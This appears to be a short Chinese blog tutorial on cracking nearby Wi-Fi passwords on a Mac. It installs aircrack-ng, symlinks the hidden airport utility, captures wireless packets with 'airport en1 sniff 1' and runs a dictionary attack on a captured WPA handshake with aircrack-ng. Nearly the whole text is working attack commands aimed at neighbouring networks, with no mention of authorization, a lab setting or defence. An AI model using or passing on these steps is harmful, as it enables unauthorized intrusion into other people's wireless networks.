安装aircrack-ng
brew install aircrack-ng
安装到最后发现aircrack-ng.org终端连不上。需要先设置一下终端使用http代理:export https_proxy="http://127.0.0.1:6152"
export http_proxy="http://127.0.0.1:6152"
也可以使用
使用airport命令
Mac系统自带一个airport命令可用来查看无线的详情。这个命令隐藏的很深,在/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport
下。网上一般使用如下命令建立链接以方便使用:sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
但10.11下无法在/usr/sbin/下写入文件。故将路径修改,如下:sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
这样即可使用airport命令
airport抓包
显示无线网列表:airport -s
找一个信号好的信道,如1,使用命令开始抓包:airport en1 sniff 1
几分钟后ctrl+c,包保存在/tmp下。
aircrack破解
aircrack-ng -w zd.txt 1.cap
找有1 handshake
的包。之后选择这条代码,就开始使用选择的字典破解。
参考资料:
《Mac OS X 用终端破解附近 Wifi 密码教程》
《Mac安装Aircrack-ng》
《如何为MacOS X终端设置代理》
《MacOS让终端命令使用全局代理》